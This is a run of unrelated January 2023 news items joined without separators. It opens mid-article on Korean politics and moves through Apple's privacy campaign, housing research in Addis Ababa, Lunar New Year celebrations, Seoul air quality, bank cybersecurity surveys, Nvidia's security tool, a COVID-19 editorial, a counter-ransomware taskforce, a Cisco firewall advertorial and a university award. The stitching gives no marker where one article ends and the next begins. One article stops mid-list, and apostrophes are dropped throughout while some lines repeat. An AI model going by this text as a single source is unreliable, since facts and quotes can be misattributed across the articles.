Kim said Yoon's remark was nothing more than a message that the troops should face up to the seriousness of the security situation, accusing the DPK of trying to take advantage of the issue for political bickering aimed at shielding party leader Lee Jae-myung.



"The president did not even talk about relations between us and Iran," she said. (Yonhap)


Apple this year is marking Data Privacy Week by working to educate iPhone users about the privacy protection tools they already have in hand, a move that has implications across any business that wants to maintain privacy.

Data protection is the bedrock of business

Data Privacy Week grew out of the Jan. 28, 2007 first convention on data protection. Today, its a global event that aims to raise awareness around privacy and data protection.

These are values Apple has made no secret saying that it shares. Apple CEO Tim Cook has made frequent public statements that shed light on the importance of privacy, and seemingly everyone at the company insists privacy is a fundamental human right."

Its not just about personal protection. Its also about placing value in data, respect for data, and ensuring data is well maintained.

Even the most sophisticated data-driven business will make poor decisions if the information it uses to build those decisions is flawed.

Just what is Apple doing?

First, Apple has published an amusing short film that aims to explain how privacy related data is gathered and abused and how you can use an iPhone to protect yourself.

Second, it announced a global series of half-hour Taking Charge of Your Privacy on iPhone, sessions that will be available at 522 Apple Stores worldwide during which the company will explain how to use some of the privacy protections it provides, including App Tracking Transparency.

Third, the company is in the process of rolling out iOS 16.3, which gives iCloud users worldwide a new way to encrypt the data they store on Apples service to hide that information from prying eyes.

To support the campaign, Apple has added resources to the front page of its website and continues to push the message across all its channels, including short clips to explain some of the privacy protection tools it provides.

At Apple, were focused on designing devices, features, and services that keep users in control of their personal data, said Erik Neuenschwander, Apples director of user privacy. Over the years, weve integrated powerful privacy controls into our operating systems. This film and our new Today at Apple sessions will show users how they can take advantage of some of the features we offer and understand how privacy is at the center of everything we do.

What problem does this solve?

Apple has privacy protection baked into all its products.

The main challenge, at least for some consumer users and likely business employees, is that not everyone knows how to use them fully. Its not at all rare for someone to come across a privacy-protecting feature on an Apple device only to choose not to use it because they're unsure of the implications of doing so.

Apple clearly hopes that by offering short lessons on how users can protect themselves it can also help empower them with the tools they need to make better choices.

For and against Apple's moves

The reactions Apple sees when it comes to privacy protection tell their own story. For example, weve already heard some of the worlds biggest companies argue that App Tracking Transparency threatens the interests of small business

Most recently, the Interactive Advertising Bureau said it was ready to go to war against Apple over the feature, accusing the company of "cynicism." Those protagonists believe Apple is guilty of double standards because it lets users decide whether to allow advertisers or Apple to track or "personalize" services for them.

Privacy advocates tell a different story. In a statement, the Open Rights Group today welcomed Apples Advanced Data Protection in iCloud. Jim Killock, executive director of the group, said: We are pleased that Apple is rolling out globally end-to-end encryption for iCloud backup-data, notes, and photos. We look forward to UK customers gaining the same benefits.

We hope other companies will look to rollout similar services that prevent consumers from being victims of scams, revenge porn and blackmail attempts," he said. Our government needs to support these improvements wholeheartedly.

For privacy protection, the best form of personal data is the information that remains private, rather than public.

This applies to business, of course

The fight for privacy is in the interests of almost every business. After all, not every enterprise seeks to exploit personal information for profit  and even among those that do, there is growing understanding of the value of building informed consent.

Theres a huge difference between a trusted entity sending you a product marketing email and a company you have no relationship with jumping inside your news feed.

But privacy isnt solely a consumer-facing need. In a global market characterized by digital insecurity, ransomware, and increasingly sophisticated nation-state exploits reaching lower echelon criminal gangs, privacy is a protection firms need to extend across their enterprises.

To protect business systems, employee digital identity must be protected lest they become unwitting targets for sophisticated phishing attacks against the company. Information about what your workers do and how they think in their home life can conceivably be weaponized to help bad actors attack your business.

With this in mind, privacy becomes a second arm to security and both become increasingly important. And in this context, educational initiatives such as this one from Apple should be extended across every fleet.

At the very least, it makes sense for iPhone users in any business to review some of the more basic privacy protections Apple provides.

Privacy tips you need to know

Apple is focusing on specific useful topics around privacy on its iPhone. Among these, visitors to an in-store privacy session will learn about such tools as these five suggestions.

Control who knows where you are

You can control when and how apps access your location to prevent them sharing location data with anyone you dont want to share it with. Open Settings>Privacy & Security>Location Services, where you can set each app to Never, Ask Next Time Or When I Share, While Using the App.

Dont let email marketers know too much about you

Mail protection hides your IP address so senders cannot see the rest of your online activity. It also hides exact location and prevents senders from seeing whether youve opened an email. You can set this in Settings>Mail>Privacy Protection.

No one needs to be tracked by strangers

Some apps track your activity across other companies apps and websites. Shut them down in Settings>Privacy & Security>Tracking. You can, of course, permit tracking for any apps you need or trust.

Get out of abusive relationships

Designed to help vulnerable people attempting to escape abusive relationships, the Safety Check tool lets you stop sharing information and control what is shared with individual people and apps. (The people or apps you stop sharing with are not notified.) This is also in Privacy & Security where it is marked as Safety Check.

How to use Passkeys on iPhone

The all-new Passkeys tool empowers users with the ability to access websites and services without requiring a username and password to prove who you are. This works using Touch or Face ID to verify you and a unique digital key that only works on the site or app it was created for. To save a passkey to your iPhone and iCloud Keychain, do one of the following:

For a new account : On the account sign-up screen, enter an account name.

: On the account sign-up screen, enter an account name. For an existing account : Sign in with your password, then go to the account management screen.

: Sign in with your password, then go to the account management screen. When you see the option to save a passkey for the account, tap Continue.

Your passkey is saved.

You might also want to take a look this short iOS Security Guide.

Please follow me on Mastodon, or join me in the AppleHolics bar & grill and Apple Discussions groups on MeWe.
Urban development projects are rapidly transforming the physical landscape of Addis Ababa, Ethiopia. Theyre also impacting the social lives of the people who live there. Thats the topic of Concordia Public Scholar Hone Mandefro Belayes doctoral research.

The PhD candidate in social and cultural analysis is examining the change and continuity in relationships among neighbours as their living space in Addis Ababa changes from single-story houses to high-rise condominiums.

These urban changes stem from the Ethiopian governments Integrated Housing and Development Program, which has been clearing slums and putting up high-rise buildings in their place. The program, which was designed to provide affordable housing to middle- and low-income groups, offers subsidized units to people through a lottery system. Belaye estimates that the governments Integrated Housing and Development Program is responsible for more than 50 per cent of the citys new housing supply in the last decade.

The Global South is undergoing rapid urban change, Belaye adds. He will be discussing these issues as part of a roundtable panel discussion on February 2. The public is welcome to attend the event in person at 4TH SPACE or online.

Belayes research is supported by a Vanier Scholarship from the Social Sciences and Humanities Research Council (SSHRC), a Wadsworth International Fellowship from the Wenner-Gren Foundation and Concordia.

Its not just about building houses  we need to build communities

How did you go about your research?

Hone Mandefro Belaye: I investigated a particular neighbourhood in Addis Ababa that was established a decade ago. Ten years later, how do people describe their experience of living in this emerging settlement? As part of my research, I looked at neighbour-to-neighbour relationships, peoples relationship with the local state and peoples relationship to their new living space. I lived in the neighbourhood for six months. I collected qualitative data on-site through interviews, participant observation and focus groups.

What have you found so far?

HMB: Ive made a number of initial observations. First, a lot of people appreciate the quality of the new houses. Many of the condo inhabitants used to live in what you call slums, which are very dense. They didnt have private facilities. Now, they have a bathroom, kitchen and tap water all within their own space. They have more privacy.

There are still issues in terms of what is promised and whats delivered. For instance, even though they have tap water inside, there are often service disruptions that last weeks. So, water is not always accessible, but at least they dont have to walk far to fetch it.

Second, there is a feeling of loss of community compared to where many inhabitants previously lived. In the previous neighbourhoods, many facilities were shared, including their own spaces. That meant a lot of interaction. People knew who their neighbours were, and there was a very tight community. Now, people must be intentional to get to know their neighbours.

Third, there is a split of community. Although people live together, their experience varies on a number of factors, one of them being whether they are an owner or tenant. Owners are often part of neighbourhood committees and can make important decisions about neighbourhood affairs, but tenants are left out of these discussions. Tenants dont have as much power in the neighbourhood and tend to be less invested.

However, I also found that women tend to do most of the neighbouring practices and are more active in these new communities. Patriarchy is still intact, but women also have gained more power in neighbourhood affairs than they did in the past, especially those who are owners. They participate in community meetings more frequently and in some cases do a lot of the strategizing.

What do you hope to accomplish through your research?

HMB: I hope that the affordability discussions around housing also begin to be anchored by how we build communities. Housing is not just about a dwelling. Its not just about where people live. The way we envision housing tells us a lot about what we think of the relationships between people, whether that be the relationships within a house or our relationship with the people that live next door.

Its not just about building houses  we need to build communities. Ultimately, thats what makes society better. And community will only come if we pay attention to building it.



Learn more about Concordias Public Scholar Program.

Join the roundtable event, Housing in the Global South: Trends and Global Implications, at 4TH SPACE (1400 De Maisonneuve Blvd. W.) or watch online on February 2, 10 a.m. to 12 p.m.
* From the Empire State Building in New York, Tokyo Tower in Japan's capital, Sydney Opera House and many other famous landmarks to Chinatowns around the world, numerous buildings and neighborhoods have been lit up in red or decorated with Chinese elements such as red lanterns, creating a cheerful festival ambience. * Various entertaining and cultural events such as concerts and food events have been organized in Cambodia, Ethiopia, New Zealand, Spain, the United States and others. * Many overseas Chinese have expressed their best wishes to the motherland. BEIJING, Jan. 23 (Xinhua) -- Landmarks around the globe have been lit up in the auspicious color red to celebrate the Lunar New Year, or Spring Festival, that fell on Sunday this year. The Lunar New Year for 2023 marks the Year of the Rabbit -- a gentle and beloved animal that signifies vitality, wittiness, cautiousness and good luck in the Chinese zodiac. Outside China, many people are also celebrating the most important Chinese festival alongside local Chinese communities, enjoying a taste of Chinese culture while strengthening their friendship with others from different cultural backgrounds. LANDMARKS GLOW IN RED From the Empire State Building in New York, Tokyo Tower in Japan's capital, Sydney Opera House and many other famous landmarks to Chinatowns around the world, numerous buildings and neighborhoods have been lit up in red or decorated with Chinese elements such as red lanterns, creating a cheerful festival ambience. Tokyo Tower is lit up in red to celebrate the Chinese New Year in Tokyo, Japan, Jan. 21, 2023. (Xinhua/Zhang Xiaoyu) A number of landmarks projected Spring Festival wishes in the Chinese language when turning red. On Saturday, Nelson's Column at London's Trafalgar Square was illuminated in Mandarin to wish people a Happy Chinese New Year. The Chinese character "fu," which means good fortune, was projected onto the Mole Antonelliana, the most recognizable building in Turin, Italy. This photo taken on Jan. 21, 2023 shows a large lantern celebrating the Year of the Rabbit on the eve of the Chinese New Year at Trafalgar Square in London, Britain. (Xinhua/Li Ying) "We are so pleased to extend our heartfelt New Year's wishes to the entire Chinese community here in the United States, around the world and especially in China," said Tony Malkin, CEO, president and chairman of Empire State Realty Trust. Apart from the lighting, some popular attractions and main streets in Sydney are seeing rabbit-shaped artworks designed by local illustrators in celebration of the festival. Between mid-January and mid-February, a Chinatown on Yaowarat Road in Thailand's Bangkok is decorated with lights, featuring a 45-meter-long light tunnel and lanterns of various styles. Also in a festive mood is the north Italian city of Milan. On Saturday, a Chinese New Year animation was played on a large screen in Piazza San Babila, a busy area in the city center. Along a bustling street there decorated with red lanterns and Chinese dragons, many locals came to experience Chinese culture and take photos. To mark the Year of the Rabbit, Jungfrau, a popular ski region in Switzerland, also put up Chinese lanterns and custom-made illuminations at its Grindelwald Terminal to create a festive atmosphere. DIVERSE CELEBRATIONS Various entertaining and cultural events such as concerts and food events have been organized in Cambodia, Ethiopia, New Zealand, Spain, the United States and others. For many countries, dragon parades, fireworks and issuing zodiac stamps have become symbolic activities during the Spring Festival. These days, Australia, Fiji, France and Hungary have issued commemorative stamps featuring bunny elements in collaboration with Chinese artists. This photo taken on Jan. 16, 2023 shows a first-day cover with the stamps marking the Year of the Rabbit at Hungary's Stamp Museum in Budapest, Hungary. (Photo by Attila Volgyi/Xinhua) On Jan. 14, the French postal service La Poste held a ceremony in Paris to launch two rabbit-themed stamps. At the event, a French man who didn't offer his name said, "I've collected stamps for more than 60 years. Every year, I would come for the stamps dedicated to the Chinese New Year." Multiple tourist attractions hosted Chinese New Year celebrations during the holiday, ushering in a joyous tribute to Chinese and Asian culture. At Disney California Adventure Park, a series of celebrations kicked off Friday. The same day, the Empire State Building unveiled its Fifth Avenue Window Exhibition, which features an installation of artistic imagery and representations of rabbits. People watch a dragon dance performance during a parade celebrating the Chinese New Year in Madrid, Spain, Jan. 22, 2023. (Photo by Gustavo Valiente/Xinhua) As the Spring Festival brings nostalgic joy for overseas Chinese, Chinese diplomatic missions, businesses and cultural institutions based overseas have held receptions and galas to observe the New Year with their local colleagues. Additionally, Chinese embassies around the globe have distributed "Spring Festival kits," which contain traditional Spring Festival goods and local specialties. Having attended a celebration at the Chinese Embassy in Iran earlier this month, Wang Danyu, a teacher at the Confucius Institute of Tehran University, said, "This event conveyed the warmth from my motherland." Praising a festive event co-hosted by the Chinese Mission to the African Union and the UN Economic Commission for Africa in Ethiopia's capital Addis Ababa, local resident Rakeb Million said, "What amazed me the most is their sense of togetherness and closeness. They (Chinese people) look very beautiful as they celebrate the new year together." NEW YEAR WISHES Many overseas Chinese have expressed their best wishes to the motherland. "We overseas Chinese are willing to serve as a bridge between the motherland and the world," Lu Gang, executive vice chairman of the Russian Far East Chinese Chamber of Commerce and Industry, told Xinhua. "On behalf of the overseas Chinese in the Russian Far East, I would like to wish our great motherland prosperity and our people happiness!" "We are very proud of the development and progress of our motherland," said Deng Zhuting, president of London Chinatown Chinese Association. "We will continue to tell China's story well on the world stage and promote steady and sustained China-UK friendly exchanges." People perform dragon dance during the Chinese New Year parade in Paris, France, on Jan. 22, 2023. (Xinhua/Gao Jing) Besides, global leaders have also delivered their wishes to those who observe the Chinese New Year. In a video message released on Wednesday, UN Secretary-General Antonio Guterres said, "I am pleased to send my warmest greetings as we enter the Year of the Rabbit. The rabbit is a symbol of energy and dexterity. These are qualities we need as humanity faces hardship and tests." "I thank China for your strong partnership with the United Nations and support for international cooperation. By working together as a global community, we can advance peace, sustainable development and a better world for all," he said. "On behalf of the government and the people of Tanzania, I extend my warmest wishes to all Chinese as you celebrate your Chinese New Year," Tanzanian President Samia Suluhu Hassan tweeted. Dancers perform during a cultural event in celebration of the Chinese New Year in Milan, Italy, Jan. 22, 2023. (Xinhua/Jin Mamengni) "It is with distinct pleasure and sincere feelings of friendship that I join your celebrations today on the joyous occasion of the Chinese Lunar New Year, the Year of the Rabbit, a symbol of good fortune, great ambition, bright future, wealth and prosperity," Cypriot President Nicos Anastasiades said Friday via video. Lucie Milebou Aubusson, president of the Gabonese Senate, said, "I am honored to address the brotherly Chinese people as the president of the Senate and on behalf of the upper house of parliament and send our sincere wishes of health, happiness and prosperity." Former Japanese Prime Minister Yasuo Fukuda extended his wishes that everyone could "jump high and far" in the Year of the Rabbit. "I wish everyone good health, and wish peace and prosperity for China, Japan, Asia and the world at large."
Black Eagles  the Republic of?Korea Air Force?Aerobatic Team  zip across a clear sky over Yeouido, Seoul, Sept. 21, 2022, as they practice for the country's Armed Forces Day the following month. Yonhap



Pollutant reduction policies, China's improved air quality major contributors



By Ko Dong-hwan



In hindsight, the sky over Seoul in 2022 was at its cleanest in more than a decade, according to the city government. And the record, the authority said, will improve further and reach the level of advanced cities around the world.



The Air Quality Policy Division under the city government's Climate and Environment Headquarters, together with the city government's Research Institute of Public Health and Environment, have rolled out the results of an analysis of air quality statistics throughout the previous year and what contributed to the figures. The research concluded that the year saw the most outstanding air quality in more than a decade and noted that various pollutant-reduction regulations by the city government plus climatic conditions over Korea and neighboring areas were the reason.



The average concentration rate of PM2.5 (particulate matter with a diameter 2.5 micrometers or less) last year was 18 micrograms per cubic meter. It's the lowest since the country started measuring the figure in 2008. Since 2019, the city's PM2.5 rate has gone down steadily. It was 25 micrograms per cubic meter in 2019, followed by 21 and 20 in 2020 and 2021, respectively. The most visibly reduced levels were seen from between December and March when air pollutants tend to be mostly generated each year due to energy consumption for winter heating.





Seoul Metropolitan Government's trucks spray roads in the city's eastern district of Songpa with water to clear particulate matters and other air pollutants, March 2022. Korea Times file



Another point of reference as to the level of air quality is the number of days when conditions were "good" (when the daily average rate of PM2.5 is 15 micrograms per cubic meter or less) or "bad" (when it is higher than 35). There were a total of 182 "good" days in 2022, the most since 2008, and 31 "bad" days the same year, the least since 2008, the city government said.



"The lowest record in three years in a row was possible because of various countermeasures by the city government and support from our citizens, as well as climate conditions that worked in favor of our city's sky," Lee In-geun, the chief of Climate and Environment Headquarters, said. "And the city government will manage to present the same result over our city sky this year as well."



The Seoul Metropolitan Government has been enforcing anti-air pollution measures across various sectors including public transport, traffic, manufacturing and sanitation since 2007. It was the year when the authority announced "Clear Seoul 2010" to realize cleaner air quality over the city. Now the campaign has been replaced with "Clearer Seoul 2030."





A hydrogen bus runs past Cheonho Station in Seoul's eastern district of Gangdong, December 2020. Yonhap



Other regulations followed. The city in 2015 started promoting and subsidizing eco-friendly boilers and other heating systems which run on less energy. A set of new emergency manuals were introduced two years later to reduce air pollutants during random periods with high pollution risks, controlling emissions from public facilities, factories and public transport. In 2019, the city introduced green traffic zones to reduce vehicle volume and emissions. Seasonal anti-pollution regulations were also enforced every winter starting the same year, banning operations of government-run vehicles with certain license plate numbers to reduce traffic volume on roads and dispatching road clean-up trucks more often than during other seasons to sweep or spray down the roads to clear accumulated dust and pollutants.



Progress was visible in the public transport sector. As of this month, over 8,900 buses operating in and around the city have been replaced by those running on compressed natural gas  instead of diesel fuel  to reduce emissions. With the rising domestic sale of electric vehicles, the city has rolled out a goal to make at least 10 percent of the city's registered vehicles electric.



The average PM2.5 rate from 2022 came out even lower than what experts had anticipated. The city's public health and environment research institute had made a model to forecast levels based on the previous year's data and announced the figure would be 19.8 micrograms per cubic meter. The actual figure came out 1.6 micrograms per cubic meter lower.





In these graphics by the Seoul Metropolitan Government's Research Institute of Public Health and Environment, the average level of PM2.5 in China's northeastern region (inside the box) in 2022, right, is lower than that of 2019-2021, left. Courtesy of Seoul Metropolitan Government
Travelers head to a bus station in the southwestern city of Gwangju to return home on the last day of the four-day Lunar New Year holiday, amid heavy snowfall, Jan. 24. Yonhap
US financial institutions see peer-to-peer fraud and other digital fraud as the biggest cybersecurity concern in 2023.

It was cited by 29% of respondents in a survey by Computer Systems Inc. (CSI), followed by data breaches (23%), ransomware (20%) and a breach at a third party (15%).

Industry respondents also expressed concerns over identity theft at 4%, unavailable or unaffordable cyber insurance at 4%, geopolitical risks at 3%, DDoS attacks at 2% and website defacement at 0.9%, according to CSIs annual survey of the financial sector. It received responses from 228 banking executives, 171 of them at vice-president level or above.

P-to-P biggest cyber security concern

An investigation into the internal data from the four biggest banks in the US showed that as of 2020, the banks had collectively received $90 million in fraudulent claims on P2P platforms. This was expected to go up to $255 million by 2022, a 183% increase.

The rising rates in P-to-P fraud across the industry have institutions wondering if such incidents are a result of data breaches. This perspective likely explains why bankers ranked breaches second on their worry list, Steve Sanders, CISO at CSI said in the report.

Readiness for a cybersecurity incident

80% of respondents said they clearly know what to do in case of a cybersecurity incident in their organization, and 77% of respondents said they clearly understand their organizations cyber risk. 72% of respondents said they have a reliable source of cybersecurity news, and 68% of respondents said their cyber security education program is effective, CSI found.

51% of respondents were confident their organization would not be found negligent if it suffered a data breach, and 47% of respondents said their CISO can present a strategic business case for cyber spending. Only 8% disagreed with this statement. Around 36% of the respondents said privacy laws and regulations have improved their organizations process, CSI wrote.

Based on their responses, there appears to be a certain cybersecurity exhaustion among bankers. This is understandable, but it is still important for institutions to be vigilant, Sanders said in the report.

In terms of regulations, the banking institution is waiting for the final ruling of the Financial Crime Enforcement Network (FinCEN) beneficial owner database. 68% of respondents in the survey said they are very concerned about cybersecurity compliance in their space, and 91% of bankers said that fraud is the biggest risk in compliance risk.

Cybersecurity risk on banks globally

A separate, global survey conducted by consulting firm EY found that 72% of chief risk officers (CROs) in the banking sector identified cybersecurity risk as their top concern over the next 12 months .

The role of the CRO is in the spotlight; and, with geopolitical risk underpinning everything else on their agenda, they will need to find new and innovative ways to address competing demands, Jan Bellens, leader at EY Global Banking and Capital Markets Sector, said in the report.

It is arguably one of the hardest jobs in the banking c-suite, facing new and hidden risks  particularly from increasingly sophisticated cyber-attacks, that will put increasing pressure on an already volatile environment, Bellens added.

Almost 70% of North American CROs are concerned about cyber warfare between nation-states due to the ongoing geopolitical conditions. This is substantially more than their peers in Europe where 46% of CROs were concerned about cyberwar, EY noted.
Nvidia today announced that a digital lab playground for its latest security offering is now available, letting users try out an AI-powered system designed to monitor individual user accounts for potentially hazardous behavior.

The idea, according to the company, is to leverage the large amounts of data that many organizations compile anyway about login and data access events on their systems, and use that to train an AI that watches for user accounts to diverge from their usual patterns. The system moves security teams from a scenario in which they have to comb through potentially millions of events a week to identify a problem to a small handful of high risk events identified by the system.

A digital fingerprinting "LEGO kit"

In an official blog post, Nvidia said that the solution is essentially a kind of LEGO kit for digital fingerprinting, allowing users to customize their own solution that best meets their needs.

Justin Boitano, Nvidia vice president of enterprise and edge computing, said in a briefing that the system has the potential to both reduce workloads and enable faster identification of potential malefactors.

This digital fingerprinting API workflow enables security organizations to detect threats instantly, he said. And this means identity attacks, which are the most common form of enterprise security attacks where bad actors are going after employee credentials via social engineering, or phishing attempts, can quickly get mitigated and detected instantly.

Nvidia said that systems like this are just the beginning for AI-backed security efforts. In future, more detailed user profiles, including data as granular as typing speed and accuracy, could be used to help identify suspicious behavior, the company said in its blog post.

Data on network events is gold for building AI models that harden networks, but no one wants to share details of real users and break-ins, Nvidia wrote. Synthetic data, generated by a variant of digital fingerprinting, could fill the gap, letting users create what they need to fit their use case.

The digital fingerprinting system is currently available in Nvidias AI Enterprise platform, and the new lab module  which allows users to walk through a real deployment on sample architecture hosted at Equinix and interact with Nvidia experts  is available via the companys LaunchPad website as of today.


Premature to let guard down fully



Korea reported 9,277 new COVID-19 cases on Monday, bringing the total caseload to 30,008,756. The country broke the unwelcome record of 30 million three years and three days after it reported its first confirmed case on Jan. 20, 2020.



Considering there were about 5 million "unreported infections," some 70 percent of 51.6 million Koreans have likely been hit by the coronavirus. Add 28.5 percent who formed antibodies through vaccinations, and nearly 99 percent are immune to the virus  for now. Can the nation move past COVID-19, then?



Probably not.



Reflecting the eased situation, health authorities will lift the indoor mask mandate next Monday, freeing people from face coverings except in some places, such as medical institutions and mass transit.



However, the nation should not let its guard down yet, at least for two reasons.



First, the statistics themselves are hardly reassuring. Given the population gap of about six times with the U.S., Korea is still seeing more daily infections than even the U.S., where health officials "seem to have given up on new cases," as some Korean experts put it. The daily deaths seldom fall below 30 and are also hardly negligible. These numbers would make headlines every day if they were caused by accidents, like car crashes or fires.



Second, there is China, the origin of the pandemic, which has yet to see its peak due to excessive lockdowns followed by an abrupt opening up. Korean  and global  experts are now nervously watching the situation in China, where explosive infections move from metropolises to provinces and possibly overseas like they did three years ago. Given that there could be more than 100 subvariants of the Omicron variant, the appearance of new lethal strains will be a nightmare for the whole world.



In retrospect, Korea has done relatively well fighting against the worst pandemic in a century. Besides their failures to close the border on Chinese arrivals right after its outbreak, health officials effectively controlled COVID-19 with their "3-T strategy" of testing, tracing and treating. As always, however, the Korean people, who have seldom complained about one of the longest mask mandates worldwide and endured other conveniences, deserve greater credit.



However, it is questionable if the Yoon Suk Yeol administration will finish the COVID-19 fight equally well.



With the near-complete lifting of the mask mandate, health officials and the media say now is the time for "self-quarantine," stressing personal hygiene. Still, there is much work left for the government to do. Above all, the Yoon administration is doing too little to raise the booster vaccination rate, especially among older adults, who account for over 80 percent of COVID-19 deaths. The government should provide more incentives and take other steps to jack the booster vaccination rate.



More importantly, the incumbent government seems ill-prepared if another pandemic hits the country.



Nothing shows this better than the finance ministry's decision to scale down the National Medical Center (NMC). The previous administration planned to rebuild the NMC into a global institution specialized in dealing with infectious diseases. But the incumbent one will reduce it to a far smaller "neighborhood clinic," saying there are already many large hospitals in Seoul.



These finance ministry officials are penny-wise but pound-foolish.



During the pandemic's peak two years ago, the so-called Big Five hospitals could not accept COVID-19 patients with underlying diseases for fear of infecting other patients. Many had to die even though sufficient beds were available at private hospitals. The ministry could save 61.5 billion won ($50 million) by reducing some 200 beds at the NMC, but will have to pay 10 times the amount as compensation to private hospitals to treat patients for one year.



Experts here and abroad say the world will have to live with one pandemic or another due to environmental destruction.



It is worrying that some political leaders and bureaucrats have learned too little in the last three years.


The International Counter Ransomware Taskforce (ICRTF), envisioned by the International Counter Ransomware Initiative (CRI), kicked off its operations on Monday with Australia as its inaugural chair and coordinator. The CRI was first brought together in October 2021 with a virtual meeting of 30 countries, facilitated by the US White House National Security Council.

In November 2022, a second meeting took place where the following was established by the 37 participating member:

Hold ransomware actors accountable for their crimes and not provide them safe haven.

Combat ransomware actors ability to profit from illicit proceeds by implementing and enforcing anti-money laundering and countering the financing of terrorism (AML/CFT) measures, including know your customer (KYC) rules, for virtual assets and virtual asset service providers.

Disrupt and bring to justice ransomware actors and their enablers to the fullest extent permitted under each partners applicable laws and relevant authorities.

Collaborate in disrupting ransomware by sharing information, where appropriate and in line with applicable laws and regulations, about the misuse of infrastructure to launch ransomware attacks to ensure national cyber infrastructure is not being used in ransomware attacks.

The intention of setting up a taskforce also originated from this second summit with the goal to develop cross-sectoral tools, and exchange cyber threat intelligence to increase early warning capabilities and prevent attacks. The taskforce would also help consolidate policy and best practice frameworks. It was established in the Australian Department of Home Affairs Cyber and Critical Technology Coordination Centre.

The ICRTF will act as a medium for CRI to connect with industry for defensive and disruptive threat sharing and actions. The cyber security projects under ICRTF will be initiated in response to requests for assistance from members, and support opportunities to disrupt malicious actors on a case-by-case basis, Australia Department of Home Affairs said in a statement.

Reports on tools, tactics, and procedures to improve awareness of members will also be expected from the ICRTF.

Australias leadership against ransomware

This initiative is taking place under the current Australian government, which after coming to power in May 2022 was quick to assign cybersecurity as a standalone portfolio with Clare ONeil named the Minister for Cyber Security. However, cybersecurity isnt ONeils only responsibility, she is also the Minister of Home Affairs.

After taking an offensive approach toward Optus following the massive data breach, ONeil was suddenly faced with too many breachessome considerably more harmful such as the Medibank breachwhich led to a change in approach by the government with a more supportive attitude. The Optus breach, and all the ones that followed, forced the government to take charge and make changes to how it deals with cyberthreats.

One such change has been the formation of the joint Australian Federal Police and Australian Signals Directorate operational grouping, tasked with actively thwarting the activities of cybercriminals. This is said to be a team of 100 personnel from both agencies.

The Australian government also passed a bill to increase data breach penalties from AU$42 million to AU$50 million. This is under the Notifiable Data Breaches scheme, which first went into effect in February 2022. However, not a single company has been fined since then. The Office of the Australian Information Commissioner has lodged just one civil penalty proceedings against Facebook in the Federal Court in March 2020, which is still an ongoing case.

The International Counter Ransomware Initiative

The members of the Counter Ransomware Initiative are: Australia, Austria, Belgium, Brazil, Bulgaria, Canada, Croatia, the Czech Republic, the Dominican Republic, Estonia, France, Germany, India, Ireland, Israel, Italy, Japan, Kenya, Lithuania, Mexico, the Netherlands, New Zealand, Nigeria, Norway, Poland, Republic of Korea, Romania, Singapore, South Africa, Spain, Sweden, Switzerland, the United Arab Emirates, the United Kingdom, the United States, Ukraine and the European Union.

CRI expects to raise awareness of its existence and welcome other countries to the group.

During the 2022 summit, CRI set out several initiatives beyond the creation of the taskforce and its members also agreed to:
Corporate networks have become increasingly complex with the adoption of public and private clouds, as well as edge deployments. This complexity has been intensified now that employees are working both onsite and remotely; network teams must pay greater attention to securing data and application traffic while also ensuring a consistent user experience.

In addition to complex IT environments and hybrid workforces, many organizations are dealing with a heightened cybersecurity threat landscape that requires constant vigilance, as well as management to keep up with evolving security-related regulations. In response to massive global attacks, businesses have rightly ramped up security protections such as using greater encryption controls  which can inadvertently slow network traffic.

Your network team is also likely adapting to:

Agile development environments, in which developers are rapidly creating and modernizing applications that then require network security updates





Multiple data and system silos that slow down gaining visibility into potential issues and vulnerabilities





A global supply-chain crisis that has caused organizations to use alternate providers  and potentially introduce new business risks to the network

These factors have put pressure on network teams and on the firewall, a mainstay and integral aspect of IT security, to protect network endpoints, servers, and workstations that interface with the Internet. All these demands can stretch the firewalls monitoring and inspection capacity  and cause network traffic to slow.

3 critical firewall attributes for todays network

This new reality requires that firewalls provide greater resiliency and robust security. To that end, there are several capabilities organizations should seek to not only help protect todays enterprise network, but also provide agility for business growth.

Resiliency. There is near zero tolerance for network downtime or latency. Users want a consistent experience no matter where theyre located or how they access data and apps. Firewalls should be purpose-built to provide high availability, performance, and speed for hybrid workforces. For example, the Cisco cloud-delivered Firewall Management Center enables customers to easily manage firewalls no matter where theyre located for greater and faster resiliency.

Visibility. Its time consuming and challenging to stitch together firewall status and security posture in a distributed IT infrastructure. Network teams need firewalls that natively integrate into their security stack to gain unified visibility across the data center, clouds, branch offices, and distributed workforces.

Efficiency. Network teams have enough to handle amid the complexity of IT environments and IT security. The right firewall can alleviate extra work with automated policy controls and threat intelligence for reliable network security. Cisco, for example, keeps its firewall software up to date to ensure uptime and lower operational costs, which increases IT team efficiencies.

Enterprises can achieve all three capabilities with the Secure Firewall Series from Cisco. The 3100 Series provides consistent, high-performance security with end-to-end protection. Also, the Firewall Management Center unifies policy management in bare-metal servers, virtual machines, and containers in on-premises and cloud environments.

Given todays hybrid and remote workforces, the 3100 Series helps users whether theyre working from home, the airport, or a local coffee shop. These firewalls provide high throughput and quality of service for strong user experiences.

In addition, Cisco Secure Firewall has built-in Talos threat intelligence thats automatically updated every hour with the latest vulnerability and detection research.

Forrester recently conducted a Total Economic Impact study of the Cisco Secure Firewall and found that it offers:

Resiliency: 83% faster incident response and up to 80% reduction in data breach risk

Visibility: 49% time savings in threat detection

Efficiency: 95% reduction in routine firewall task time and 55 labor hours saved for policy deployment and updates

The corporate network must be ready for any security-related issue that comes up. The right firewall helps your teams not only anticipate problems, but also rapidly respond for ongoing resiliency.

Click here to get a free trial of the Secure Firewall from Cisco.
By Cynthia Hubert

Joy Stewart-James, who recently retired after more than 15 years leading Sacramento States Student Health and Counseling Services, has been honored by the California State University with a prestigious Wang Family Excellence Award.

Wang Family Excellence Award recipient Joy Stewart-James established Sac States COVID-19 vaccination clinic in early 2021, allowing the University to offer immunizations to students, employees, and the public. (Sacramento State file/Rachel Howry)

The CSU presents the award annually to one staff and four faculty members. Recipients are recognized for contributions that are considered to be examples of the systems commitment to students, scholarship, and service. Each winner receives a $20,000 award.

Trustees announced the awards during their meeting Jan. 24 in Long Beach.

Former CSU Trustee Stanley Wang and his family established the award in 1998 to celebrate outstanding faculty and staff members.

Stewart-James, who joined Sac State in 2007 as its executive director of Student Health and Counseling Services after more than 20 years working for a Texas hospital system, retired in December as senior associate vice president.

In 2021, President Robert S. Nelsen honored Stewart-James with the Presidents Medal for Distinguished Service, highlighting her leadership in Sac States response to the COVID-19 pandemic.

At a time when students, staff, and faculty pivoted to remote classes and work, Stewart-James led efforts to expand telehealth services, develop campus safety protocols, and address other challenges the pandemic presented. She established Sac States COVID-19 vaccination clinic in early 2021, which allowed the University to offer immunizations to students, employees, and the public.

She kept our campus community safe during the pandemic and has played an integral role in improving the health and well-being of the Hornet community, Nelsen said.

